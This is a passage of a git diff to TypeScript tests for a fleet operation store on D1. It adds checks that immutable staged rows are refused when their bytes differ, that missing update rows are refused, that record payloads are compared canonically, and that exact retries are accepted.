operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record), + rows: [operationFinding(1)], + expectedRowWatermarks: { finding: 2, fact: 1 }, + }); + } catch (error) { + refused = errorShape(error); } - const afterRefusal = await lease.readOperation(id); - const refusedOrdinals = await findingOrdinals(); + const afterRefusal = await operationSnapshot(db, id); await lease.stageRows({ operationId: id, expectedRevision: 0, - rows: [operationFinding(0), operationFinding(1)], + rows: [operationFinding(1), operationFact(0)], }); - // Rows at [2, 3) under watermark 3, the coordinator's own convention: the - // insert binds the PRE-state prefix COUNT(< 2) = 2 and the run update the - // post-state COUNT(< 3) = 3. - const accepted = await lease.commitProgress({ + const input = { operationId: id, expectedRevision: 0, runRecord: operationAdvanced(created.record), - rows: [operationFinding(2)], - expectedRowWatermarks: { finding: 3 }, - }); + rows: [operationFinding(2), operationFact(2)], + expectedRowWatermarks: { finding: 3, fact: 2 }, + }; + const accepted = await lease.commitProgress(input); + const afterAcceptance = await operationSnapshot(db, id); + const replay = await lease.commitProgress(input); return { + beforeFindingRefusal, + afterFindingRefusal, + findingRefused, + before, + afterRefusal, refused, - revisionAfterRefusal: afterRefusal?.progress.revision, - findingsAfterRefusal: refusedOrdinals.length, - acceptedRevision: accepted.progress.revision, - rowOrdinals: await findingOrdinals(), + accepted, + afterAcceptance, + replay, + afterReplay: await operationSnapshot(db, id), }; }); } -// The row UPDATE carries the aliased dense-prefix conjunct too, and only a -// migration `item` row can reach it: the audit-kind probe above cannot take -// `updateRows` at all. This probe drives the ACCEPTED path of that statement, -// so the real D1 planner has executed the alias inside an UPDATE and not only -// inside an INSERT. async function operationCommitRowUpdate(db: D1Database): Promise { const target = await readyOperationStore(db); const id = operationId(6); @@ -3437,18 +3466,15 @@ async function operationCommitRowUpdate(db: D1Database): Promise { await lease.stageRows({ operationId: id, expectedRevision: 0, - rows: [operationItem('pending', 0)], + rows: [operationItem('pending', 0), operationItem('pending', 1)], }); - // The batch inserts nothing, so `prefix` equals the watermark on both the - // UPDATE and the run update, and the staged item 0 already satisfies - // COUNT(item, ordinal < 1) = 1: the claim holds by construction, and a - // refusal here would be a bug rather than the design. + const before = await operationSnapshot(db, id); const accepted = await lease.commitProgress({ operationId: id, expectedRevision: 0, runRecord: operationAdvanced(created.record), - updateRows: [operationItem('active', 0)], - expectedRowWatermarks: { item: 1 }, + updateRows: [operationItem('active', 1)], + expectedRowWatermarks: { item: 2 }, }); const page = await target.readOperationRowsPage({ operationId: id, @@ -3456,8 +3482,121 @@ async function operationCommitRowUpdate(db: D1Database): Promise { limit: 10, }); return { + before, + afterAcceptance: await operationSnapshot(db, id), acceptedRevision: accepted.progress.revision, - itemStatus: page.rows[0]?.payload.status, + items: page.rows, + }; + }); +} + +async function operationCommitImmutableConflict( + db: D1Database, + hideResults: boolean, + viaStage: boolean, +): Promise { + await readyOperationStore(db); + const database = hideResultsDatabase(new D1FleetStateDatabase(db)); + const target = operationStore(database); + const id = operationId(7); + return target.withAccountOperationLease('audit', async (lease) => { + const created = await operationStart(lease, 'audit', id); + const staged = operationFinding(1); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [staged], + }); + const before = await operationSnapshot(db, id); + const input = { + operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record), + rows: [operationFinding(0), staged], + }; + let refused: unknown = null; + if (hideResults) database.loseNextBatch(); + try { + const conflicting = { + ...input, + rows: [ + operationFinding(0), + { ...staged, payload: { ...staged.payload, detail: 'different' } }, + ], + }; + if (viaStage) await lease.stageRows(conflicting); + else await lease.commitProgress(conflicting); + } catch (error) { + refused = errorShape(error); + } + const afterRefusal = await operationSnapshot(db, id); + if (viaStage) await lease.stageRows(input); + if (hideResults) database.loseNextBatch(); + const accepted = await lease.commitProgress(input); + const afterAcceptance = await operationSnapshot(db, id); + if (hideResults) database.loseNextBatch(); + const replay = await lease.commitProgress(input); + return { + before, + afterRefusal, + refused, + accepted, + afterAcceptance, + replay, + afterReplay: await operationSnapshot(db, id), + }; + }); +} + +async function operationCommitMissingUpdate( + db: D1Database, + hideResults: boolean, +): Promise { + await readyOperationStore(db); + const database = hideResultsDatabase(new D1FleetStateDatabase(db)); + const target = operationStore(database); + const id = operationId(8); + return target.withAccountOperationLease('migration', async (lease) => { + const created = await operationStart(lease, 'migration', id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationItem('pending', 0)], + }); + const before = await operationSnapshot(db, id); + const input = { + operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record), + rows: [operationItem('pending', 2)], + updateRows: [operationItem('active', 0), operationItem('active', 1)], + }; + let refused: unknown = null; + if (hideResults) database.loseNextBatch(); + try { + await lease.commitProgress(input); + } catch (error) { + refused = errorShape(error); + } + const afterRefusal = await operationSnapshot(db, id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationItem('pending', 1)], + }); + if (hideResults) database.loseNextBatch(); + const accepted = await lease.commitProgress(input); + const afterAcceptance = await operationSnapshot(db, id); + if (hideResults) database.loseNextBatch(); + const replay = await lease.commitProgress(input); + return { + before, + afterRefusal, + refused, + accepted, + afterAcceptance, + replay, + afterReplay: await operationSnapshot(db, id), }; }); } @@ -3882,6 +4021,21 @@ export default { return Response.json(await operationCommitWatermark(env.DB)); case 'operation-commit-row-update': return Response.json(await operationCommitRowUpdate(env.DB)); + case 'operation-commit-immutable-conflict': + return Response.json( + await operationCommitImmutableConflict( + env.DB, + (body.input as { hideResults: boolean }).hideResults, + (body.input as { viaStage: boolean }).viaStage, + ), + ); + case 'operation-commit-missing-update': + return Response.json( + await operationCommitMissingUpdate( + env.DB, + (body.input as { hideResults: boolean }).hideResults, + ), + ); case 'operation-finalize-convergence': return Response.json(await operationFinalizeConvergence(env.DB)); case 'operation-rows-readback': diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index a4117e4b..4206b1d1 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -762,37 +762,13 @@ class FakeInventoryRunStore implements FleetInventoryRunStore { } } -// --------------------------------------------------------------------------- -// Fake FleetOperationStore/FleetOperationLease: an in-memory, deliberately -// faithful reimplementation of the R4-A guarded-batch contract (head/lease -// exclusivity, DO-NOTHING staging, revision-guarded commit with a -// byte-identical convergence read, watermark verification, probe-first -// start classification). `lease.readOperation` is deliberately HEAD-SCOPED -// (stricter than the shipped D1 adapter) so the coordinator's probe-first -// fallback to the head-independent `readOperationById` is genuinely -// exercised, not merely accepted by coincidence. -// -// TWO DELIBERATE SOFTNESSES, stated rather than reproduced, because closing -// either would change what this suite's worlds exercise rather than what the -// coordinator does: -// -// - ROW VALIDATION. `#validatedRows` runs `fleetOperationStagedRowFromUnknown` -// only. `d1-fleet-operation-store.ts`'s `stagedRowForKindFromUnknown` -// additionally rejects an `item` row under the audit kind and re-parses a -// `finding`/`fact` payload through `driftFindingRowFromUnknown` / -// `fleetAuditFactRowFromUnknown`. A payload this fake accepts can therefore -// be one the shipped store would refuse; the write-side gate that matters -// is pinned against the real codecs by the titles that read rows back. -// - STAGING REVISION. `#stageRows` ignores `expectedRevision` entirely, where -// D1 binds it into `OPERATION_GUARD_SQL` on every insert. The adopted-running -// start path stages under `expectedRevision: 0` against a possibly-advanced -// operation; on that guard miss the real store silently inserts nothing. -// The operation can only have advanced past revision 0 after this same -// staging ran, so under the pinned intake digest the rows are already -// present at the same ordinals and this fake's own ordinal check drops -// them too — an unmodelled guard, not a live divergence. -// --------------------------------------------------------------------------- +function payloadBytes(row: FleetOperationStagedRow): string { + return row.rowKind === 'record' + ? canonicalFleetOperationBytes(row.payload) + : JSON.stringify(row.payload); +} +// Head-scoped lease reads exercise the coordinator's head-independent fallback. class FakeOperationStore implements FleetOperationStore { readonly heads = new Map(); readonly operations = new Map(); @@ -952,13 +928,26 @@ class FakeOperationStore implements FleetOperationStore { #stageRows(input: Parameters[0]): void { const { operationId } = input; const rows = this.#validatedRows(input.rows); - for (const row of rows) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = this.rows.get(key) ?? []; - if (!list.some((existing) => existing.ordinal === row.ordinal)) { - list.push(row); - this.rows.set(key, list); + for ( + let offset = 0; + offset < rows.length; + offset += FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { + const staged = new Map(); + for (const row of rows.slice( + offset, + offset + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + )) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = staged.get(key) ?? [...(this.rows.get(key) ?? [])]; + const existing = list.find((prior) => prior.ordinal === row.ordinal); + if (existing && payloadBytes(existing) !== payloadBytes(row)) { + throw new Error('immutable operation row payload differs'); + } + if (!existing) list.push(row); + staged.set(key, list); } + for (const [key, list] of staged) this.rows.set(key, list); } } @@ -1009,13 +998,6 @@ class FakeOperationStore implements FleetOperationStore { current.state === 'running' && current.progress.revision === expectedRevision; if (matches) { - // D1 binds every claimed watermark into the same guarded batch, so a - // claim the post-insert row set cannot satisfy refuses the whole commit - // before anything persists. Evaluated BEFORE the mutations below, and on - // the matching branch as well as the convergence one: otherwise the - // coordinator's watermark claims run against no enforcing implementation - // on the path its titles actually take. The input-prefix precondition - // above applies to both branches, as it does before the real D1 batch. for (const [rowKind, watermark] of Object.entries( expectedRowWatermarks, )) { @@ -1038,6 +1020,22 @@ class FakeOperationStore implements FleetOperationStore { ); } } + for (const row of updateRows) { + const list = this.rows.get(this.#rowsKey(operationId, row.rowKind)); + if (!list?.some((existing) => existing.ordinal === row.ordinal)) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + for (const row of rows) { + const stored = this.rows + .get(this.#rowsKey(operationId, row.rowKind)) + ?.find((existing) => existing.ordinal === row.ordinal); + if (stored && payloadBytes(stored) !== payloadBytes(row)) { + throw new Error('immutable operation row payload differs'); + } + } for (const row of rows) { const key = this.#rowsKey(operationId, row.rowKind); const list = this.rows.get(key) ?? []; @@ -1087,7 +1085,7 @@ class FakeOperationStore implements FleetOperationStore { const list = this.rows.get(key) ?? []; const stored = list.find((existing) => existing.ordinal === row.ordinal); if (!stored) complete = false; - else if (JSON.stringify(stored.payload) !== JSON.stringify(row.payload)) { + else if (payloadBytes(stored) !== payloadBytes(row)) { throw new Error( `fleet operation '${operationId}' staged rows diverge from the persisted operation`, ); @@ -1169,6 +1167,9 @@ class FakeOperationStore implements FleetOperationStore { input: Parameters[0], ): Promise { const { operationId, expectedRevision, runRecord, updateRows = [] } = input; + if (updateRows.length > 1) { + throw new Error('failOperation accepts at most one updateRow'); + } const current = this.operations.get(operationId); if ( current?.state !== 'running' || @@ -1199,41 +1200,42 @@ class FakeOperationStore implements FleetOperationStore { } describe('operation fake guarded progress contract', () => { - it('orders convergence identities and enforces both watermark writer obligations', async () => { - const operationId = uuidFor(990); - const initial = { - version: 1, - operationId, + const operationId = uuidFor(990); + const initial = { + version: 1, + operationId, + kind: 'migration', + state: 'running', + progress: { kind: 'migration', - state: 'running', - progress: { - kind: 'migration', - revision: 0, - itemCount: 1, - activeItemOrdinal: 0, - completedItemCount: 0, - }, - updatedAt: '2026-09-05T00:00:00.000Z', - } as const; - const intended: FleetOperationRunRecord = { - ...initial, - progress: { ...initial.progress, revision: 1 }, - }; - const row: FleetOperationStagedRow = { - rowKind: 'item', + revision: 0, + itemCount: 1, + activeItemOrdinal: 0, + completedItemCount: 0, + }, + updatedAt: '2026-09-05T00:00:00.000Z', + } as const; + const intended: FleetOperationRunRecord = { + ...initial, + progress: { ...initial.progress, revision: 1 }, + }; + const row: FleetOperationStagedRow = { + rowKind: 'item', + ordinal: 0, + payload: { ordinal: 0, - payload: { - ordinal: 0, - tenantTag: 'fake', - environment: 'production', - entryRecordDigest: 'a'.repeat(64), - status: 'pending', - }, - }; - const different = { - ...row, - payload: { ...row.payload, tenantTag: 'other' }, - }; + tenantTag: 'fake', + environment: 'production', + entryRecordDigest: 'a'.repeat(64), + status: 'pending', + }, + }; + const different = { + ...row, + payload: { ...row.payload, tenantTag: 'other' }, + }; + + it('orders convergence identities and enforces both watermark writer obligations', async () => { for (const variant of [ 'missing-operation', 'watermark', @@ -1355,6 +1357,171 @@ describe('operation fake guarded progress contract', () => { expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); } }); + + it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { + const secondRow = { + ...row, + ordinal: 1, + payload: { ...row.payload, ordinal: 1 }, + }; + const updated = { + ...secondRow, + payload: { ...secondRow.payload, tenantTag: 'updated' }, + }; + const sibling = { + ...row, + ordinal: 2, + payload: { ...row.payload, ordinal: 2 }, + }; + const missing = { + ...row, + ordinal: 3, + payload: { ...row.payload, ordinal: 3 }, + }; + for (const variant of ['missing-update', 'different-insert', 'exact']) { + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.heads.set('migration', operationId); + store.rows.set(`${operationId}:item`, [row, secondRow]); + const input = { + operationId, + expectedRevision: 0, + runRecord: intended, + rows: [sibling, variant === 'different-insert' ? different : row], + updateRows: + variant === 'missing-update' ? [updated, missing] : [updated], + expectedRowWatermarks: { item: 1 }, + }; + await store.withAccountOperationLease('migration', async (lease) => { + const result = await lease + .commitProgress(input) + .catch((error: unknown) => error); + if (variant === 'exact') { + expect(store.operations.get(operationId)).toEqual(intended); + expect(store.rows.get(`${operationId}:item`)).toEqual([ + row, + updated, + sibling, + ]); + expect(result).toEqual(intended); + expect(await lease.commitProgress(input)).toEqual(intended); + expect(store.operations.get(operationId)).toEqual(intended); + expect(store.rows.get(`${operationId}:item`)).toEqual([ + row, + updated, + sibling, + ]); + } else { + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.get(`${operationId}:item`)).toEqual([ + row, + secondRow, + ]); + expect(store.heads.get('migration')).toBe(operationId); + expect(result).toBeInstanceOf(Error); + if (variant === 'missing-update') { + expect(result).toHaveProperty( + 'message', + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + }); + } + }); + + it('compares record payloads canonically for fresh commits and convergence', async () => { + const record = baseRecord('canonical'); + const stored: FleetOperationStagedRow = { + rowKind: 'record', + ordinal: 0, + payload: { ...record }, + }; + const reordered = { + ...stored, + payload: Object.fromEntries(Object.entries(record).reverse()), + }; + expect(JSON.stringify(stored.payload)).not.toBe( + JSON.stringify(reordered.payload), + ); + const auditInitial = { + ...initial, + kind: 'audit' as const, + progress: { kind: 'audit' as const, revision: 0 }, + }; + const auditIntended = { + ...auditInitial, + progress: { ...auditInitial.progress, revision: 1 }, + }; + const store = new FakeOperationStore(); + store.operations.set(operationId, auditInitial); + store.rows.set(`${operationId}:record`, [stored]); + await store.withAccountOperationLease('audit', async (lease) => { + const input = { + operationId, + expectedRevision: 0, + runRecord: auditIntended, + rows: [reordered], + expectedRowWatermarks: { record: 1 }, + }; + const error = await lease + .commitProgress({ + ...input, + rows: [ + { ...stored, ordinal: 1 }, + { ...stored, payload: { ...stored.payload, tenantTag: 'other' } }, + ], + }) + .catch((error: unknown) => error); + expect(store.operations.get(operationId)).toEqual(auditInitial); + expect(store.rows.get(`${operationId}:record`)).toEqual([stored]); + expect(error).toBeInstanceOf(Error); + for (let retry = 0; retry < 2; retry += 1) { + expect(await lease.commitProgress(input)).toEqual(auditIntended); + expect(store.operations.get(operationId)).toEqual(auditIntended); + expect(store.rows.get(`${operationId}:record`)).toEqual([stored]); + expect(JSON.stringify(store.rows.get(`${operationId}:record`))).toBe( + JSON.stringify([stored]), + ); + } + }); + }); + + it('refuses multiple failure updates before changing rows or releasing the head', async () => { + const secondRow = { + ...row, + ordinal: 1, + payload: { ...row.payload, ordinal: 1 }, + }; + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.heads.set('migration', operationId); + store.rows.set(`${operationId}:item`, [row, secondRow]); + await store.withAccountOperationLease('migration', async (lease) => { + let error: unknown; + try { + await lease.failOperation({ + operationId, + expectedRevision: 0, + runRecord: { ...intended, state: 'failed' }, + updateRows: [row, secondRow].map((item) => ({ + ...item, + payload: { ...item.payload, status: 'failed' }, + })), + }); + } catch (caught) { + error = caught; + } + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); + expect(store.heads.get('migration')).toBe(operationId); + expect(error).toBeInstanceOf(Error); + expect(error).toHaveProperty( + 'message', + 'failOperation accepts at most one updateRow', + ); + }); + }); }); // --------------------------------------------------------------------------- diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index b09ff4db..6d2eb62c 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -26,9 +26,11 @@ import { fleetMigrationItemFromUnknown, } from '../src/fleet-migration-state.js'; import { + canonicalFleetOperationBytes, FLEET_OPERATION_INTAKE_BYTE_BOUND, FLEET_OPERATION_ITEM_BOUND, FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, type FleetOperationKind, type FleetOperationLease, type FleetOperationRowKind, @@ -100,6 +102,12 @@ const divergence = (id: string) => `fleet operation '${id}' staged rows diverge from the persisted operation`, ); +function payloadBytes(row: FleetOperationStagedRow): string { + return row.rowKind === 'record' + ? canonicalFleetOperationBytes(row.payload) + : JSON.stringify(row.payload); +} + class MemoryOperationStore implements FleetOperationStore { readonly operations = new Map(); readonly rows = new Map(); @@ -174,7 +182,11 @@ class MemoryOperationStore implements FleetOperationStore { ) return; const previous = new Map(); + let batchBefore: FleetOperationStagedRow[] = []; for (const [index, row] of input.rows.entries()) { + if (index % FLEET_OPERATION_STAGE_BATCH_STATEMENTS === 0) { + batchBefore = [...(this.rows.get(input.operationId) ?? [])]; + } if (index === this.stageLimit) { this.stageLimit = undefined; throw new Error('staging interrupted'); @@ -184,14 +196,18 @@ class MemoryOperationStore implements FleetOperationStore { previous.set(row.rowKind, row.ordinal); const validated = this.validateRow(row); const rows = this.rows.get(input.operationId) ?? []; + const existing = rows.find( + (prior) => + prior.rowKind === row.rowKind && prior.ordinal === row.ordinal, + ); if ( - !rows.some( - (prior) => - prior.rowKind === row.rowKind && - prior.ordinal === row.ordinal, - ) - ) - rows.push(validated); + existing && + payloadBytes(existing) !== payloadBytes(validated) + ) { + this.rows.set(input.operationId, batchBefore); + throw new Error('immutable operation row payload differs'); + } + if (!existing) rows.push(validated); this.rows.set(input.operationId, rows); } }, @@ -259,6 +275,25 @@ class MemoryOperationStore implements FleetOperationStore { if (ordinals.size !== watermark) throw conflict(input.operationId); } + for (const row of updates) { + if ( + !persistedRows.some( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ) + ) + throw conflict(input.operationId); + } + for (const row of rows) { + const persisted = persistedRows.find( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ); + if (persisted && payloadBytes(persisted) !== payloadBytes(row)) + throw new Error('immutable operation row payload differs'); + } for (const row of rows) { if ( !persistedRows.some( @@ -302,10 +337,7 @@ class MemoryOperationStore implements FleetOperationStore { prior.ordinal === row.ordinal, ); if (!persisted) complete = false; - else if ( - JSON.stringify(persisted.payload) !== - JSON.stringify(row.payload) - ) + else if (payloadBytes(persisted) !== payloadBytes(row)) throw divergence(input.operationId); } if (!complete) throw conflict(input.operationId); @@ -1199,6 +1231,201 @@ async function loseStepResponse( return item; } +describe('migration operation fake guarded progress contract', () => { + it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { + const world = createWorld(); + await world.start(uuid(), [world.initial, world.initial]); + const initial = copy(world.operationStore.operations.get(uuid())); + const staged = copy(world.operationStore.rows.get(uuid())); + const row = staged?.[0]; + const secondRow = staged?.[1]; + if (!initial || !row || !secondRow) + throw new Error('missing commit fixture'); + const intended = { + ...initial, + progress: { + ...initial.progress, + revision: initial.progress.revision + 1, + }, + }; + const different = { + ...row, + payload: { ...row.payload, tenantTag: 'other' }, + }; + const updated = { + ...secondRow, + payload: { ...secondRow.payload, tenantTag: 'updated' }, + }; + const sibling = { + ...row, + ordinal: 2, + payload: { ...row.payload, ordinal: 2 }, + }; + const missing = { + ...row, + ordinal: 3, + payload: { ...row.payload, ordinal: 3 }, + }; + for (const variant of ['missing-update', 'different-insert', 'exact']) { + const store = new MemoryOperationStore(); + store.operations.set(uuid(), copy(initial)); + store.heads.set('migration', uuid()); + store.rows.set(uuid(), copy([row, secondRow])); + const input = { + operationId: uuid(), + expectedRevision: initial.progress.revision, + runRecord: intended, + rows: [sibling, variant === 'different-insert' ? different : row], + updateRows: + variant === 'missing-update' ? [updated, missing] : [updated], + expectedRowWatermarks: { item: 1 }, + }; + await store.withAccountOperationLease('migration', async (lease) => { + const result = await lease + .commitProgress(input) + .catch((error: unknown) => error); + if (variant === 'exact') { + expect(store.operations.get(uuid())).toEqual(intended); + expect(store.rows.get(uuid())).toEqual([row, updated, sibling]); + expect(result).toEqual(intended); + expect(await lease.commitProgress(copy(input))).toEqual(intended); + expect(store.operations.get(uuid())).toEqual(intended); + expect(store.rows.get(uuid())).toEqual([row, updated, sibling]); + } else { + expect(store.operations.get(uuid())).toEqual(initial); + expect(store.rows.get(uuid())).toEqual([row, secondRow]); + expect(store.heads.get('migration')).toBe(uuid()); + expect(result).toBeInstanceOf(Error); + if (variant === 'missing-update') { + expect(result).toHaveProperty('message', conflict(uuid()).message); + } + } + }); + } + for (const state of ['running', 'failed'] as const) { + const store = new MemoryOperationStore(); + const persisted = { ...intended, state }; + store.operations.set(uuid(), copy(persisted)); + store.rows.set(uuid(), copy([row, secondRow])); + await store.withAccountOperationLease('migration', async (lease) => { + const error = await lease + .commitProgress({ + operationId: uuid(), + expectedRevision: initial.progress.revision, + runRecord: intended, + rows: [sibling, different], + updateRows: [updated, missing], + expectedRowWatermarks: { item: 1 }, + }) + .catch((error: unknown) => error); + expect(store.operations.get(uuid())).toEqual(persisted); + expect(store.rows.get(uuid())).toEqual([row, secondRow]); + expect(error).toHaveProperty( + 'message', + state === 'failed' + ? conflict(uuid()).message + : divergence(uuid()).message, + ); + }); + } + }); + + it('compares record payloads canonically for fresh commits and convergence', async () => { + const record = baseRecord(deploymentSpec('canonical')); + const stored: FleetOperationStagedRow = { + rowKind: 'record', + ordinal: 0, + payload: { ...record }, + }; + const reordered = { + ...stored, + payload: Object.fromEntries(Object.entries(record).reverse()), + }; + expect(JSON.stringify(stored.payload)).not.toBe( + JSON.stringify(reordered.payload), + ); + const initial: FleetOperationRunRecord = { + version: 1, + operationId: uuid(), + kind: 'audit', + state: 'running', + progress: { kind: 'audit', revision: 0 }, + updatedAt: new Date(NOW).toISOString(), + }; + const intended = { + ...initial, + progress: { ...initial.progress, revision: 1 }, + }; + const store = new MemoryOperationStore(); + store.operations.set(uuid(), copy(initial)); + store.rows.set(uuid(), copy([stored])); + await store.withAccountOperationLease('audit', async (lease) => { + const input = { + operationId: uuid(), + expectedRevision: 0, + runRecord: intended, + rows: [reordered], + expectedRowWatermarks: { record: 1 }, + }; + const error = await lease + .commitProgress({ + ...input, + rows: [ + { ...stored, ordinal: 1 }, + { ...stored, payload: { ...stored.payload, tenantTag: 'other' } }, + ], + }) + .catch((error: unknown) => error); + expect(store.operations.get(uuid())).toEqual(initial); + expect(store.rows.get(uuid())).toEqual([stored]); + expect(error).toBeInstanceOf(Error); + for (let retry = 0; retry < 2; retry += 1) { + expect(await lease.commitProgress(copy(input))).toEqual(intended); + expect(store.operations.get(uuid())).toEqual(intended); + expect(JSON.stringify(store.rows.get(uuid()))).toBe( + JSON.stringify([stored]), + ); + } + }); + }); + + it('refuses multiple failure updates before changing rows or releasing the head', async () => { + const world = createWorld(); + await world.start(uuid(), [world.initial, world.initial]); + const store = world.operationStore; + const initial = copy(store.operations.get(uuid())); + const rows = copy(store.rows.get(uuid())); + if (!initial || !rows) throw new Error('missing failure fixture'); + await store.withAccountOperationLease('migration', async (lease) => { + const error = await lease + .failOperation({ + operationId: uuid(), + expectedRevision: initial.progress.revision, + runRecord: { + ...initial, + state: 'failed', + progress: { + ...initial.progress, + revision: initial.progress.revision + 1, + }, + }, + updateRows: rows.map((row) => ({ + ...row, + payload: { ...row.payload, status: 'failed' }, + })), + }) + .catch((error: unknown) => error); + expect(store.operations.get(uuid())).toEqual(initial); + expect(store.rows.get(uuid())).toEqual(rows); + expect(store.heads.get('migration')).toBe(uuid()); + expect(error).toHaveProperty( + 'message', + 'failOperation accepts at most one updateRow', + ); + }); + }); +}); + describe('bounded fleet migration', () => { it('start freezes the exact legacy order (dup-canary last-wins, stable equal rank, localeCompare)', async () => { const world = createWorld(); diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts index e49aecfd..3cf5e1ce 100644 --- a/packages/fleet-control/test/fleet-operation-store.test.ts +++ b/packages/fleet-control/test/fleet-operation-store.test.ts @@ -18,6 +18,7 @@ import { type FleetOperationRunRecord, type FleetOperationStagedRow, FleetOperationStoreCapabilityError, + fleetOperationOtherKindMessage, } from '../src/fleet-operation-state.js'; import type { FleetStateDatabase } from '../src/state-store.js'; @@ -47,11 +48,6 @@ function openSqlite(): SqliteDatabase { return new sqlite.DatabaseSync(':memory:'); } -/** - * Fake fleet state database port. It executes the store's real SQL, so every - * guard, `json_extract` comparison, and count subquery is exercised, and a - * batch is atomic exactly as the port contract promises. - */ class MemoryD1 implements FleetStateDatabase { readonly sqlite = openSqlite(); /** Statement counts for each executed batch. */ @@ -189,7 +185,10 @@ function recordRow(ordinal: number, label = `record-${ordinal}`) { return { rowKind: 'record' as const, ordinal, payload: { label } }; } -function findingRow(ordinal = 0): FleetOperationStagedRow { +function findingRow( + ordinal = 0, + detail = `safe finding ${ordinal}`, +): FleetOperationStagedRow { return { rowKind: 'finding', ordinal, @@ -197,19 +196,11 @@ function findingRow(ordinal = 0): FleetOperationStagedRow { tenantTag: 'tenant', environment: 'production', kind: 'audit-error', - detail: `safe finding ${ordinal}`, + detail, }, }; } -function payloadFindingRow( - ordinal: number, - detail: string, -): FleetOperationStagedRow { - const row = findingRow(ordinal); - return { ...row, payload: { ...row.payload, detail } }; -} - function factRow(ordinal = 0): FleetOperationStagedRow { return { rowKind: 'fact', @@ -269,6 +260,19 @@ function start( }); } +async function readRows( + target: D1FleetOperationStore, + rowKind: FleetOperationRowKind, +) { + return ( + await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind, + limit: 10, + }) + ).rows; +} + async function seedTerminal( target: D1FleetOperationStore, kind: FleetOperationKind, @@ -501,9 +505,7 @@ describe('D1FleetOperationStore', () => { target.withAccountOperationLease('migration', (lease) => start(lease, 'migration'), ), - ).rejects.toThrow( - `fleet operation '${OPERATION_ID}' belongs to the other operation kind`, - ); + ).rejects.toThrow(fleetOperationOtherKindMessage(OPERATION_ID)); }); it("the other kind's active operation does NOT contend", async () => { @@ -581,6 +583,49 @@ describe('D1FleetOperationStore', () => { expect(rowCount(mismatchedItemDb)).toBe(0); }); + it('stageRows refuses different immutable bytes and rolls back sibling inserts', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(1, 'original')], + }); + let caught: unknown; + try { + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0, 'sibling'), recordRow(1, 'different')], + }); + } catch (error) { + caught = error; + } + expect(await readRows(target, 'record')).toEqual([ + recordRow(1, 'original'), + ]); + expect(await target.readOperationById(OPERATION_ID)).toEqual( + created.record, + ); + expect(caught).toBeInstanceOf(Error); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0, 'sibling'), recordRow(1, 'original')], + }); + await expect( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + expectedRowWatermarks: { record: 2 }, + }), + ).resolves.toEqual(advanced(created.record)); + }); + }); + it('stageRows splits at 100 statements per batch', async () => { const db = new MemoryD1(); await store(db).withAccountOperationLease('audit', async (lease) => { @@ -622,9 +667,6 @@ describe('D1FleetOperationStore', () => { await expect(lease.commitProgress(transition)).rejects.toThrow( 'committed batch response lost', ); - // 12 finding/fact inserts at 17 bindings each (5 values + the 7-binding - // operation guard + 5x1 dense-prefix watermark), then the run update at - // 5 + 3 lease + 5x1 watermark. const commitBindingCounts = [ ...Array.from({ length: 12 }, () => 17), 13, @@ -632,6 +674,7 @@ describe('D1FleetOperationStore', () => { expect(db.bindingCounts.slice(bindingMark)).toEqual( commitBindingCounts, ); + const refusedBatchMark = db.batchSizes.length; await expect( lease.commitProgress({ ...transition, @@ -640,6 +683,9 @@ describe('D1FleetOperationStore', () => { ).rejects.toThrow( `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, ); + expect(db.batchSizes.slice(refusedBatchMark)).toEqual([ + transition.rows.length + 1, + ]); const converged = await lease.commitProgress(transition); expect(db.bindingCounts.slice(bindingMark)).toEqual([ ...commitBindingCounts, @@ -692,9 +738,6 @@ describe('D1FleetOperationStore', () => { async (lease) => { const created = await start(lease); batchMark = db.batchSizes.length; - // A well-formed revision-2 -> 3 transition against a persisted - // revision 0: the pre-SQL checks all pass, so the refusal comes from - // the run update's own revision guard. return rejection( lease.commitProgress({ operationId: OPERATION_ID, @@ -713,6 +756,181 @@ describe('D1FleetOperationStore', () => { ).toBe(0); }); + it.each([ + false, + true, + ])('commitProgress refuses different staged bytes without advancing or keeping sibling writes (hidden response %s)', async (hidden) => { + const db = new MemoryD1(); + 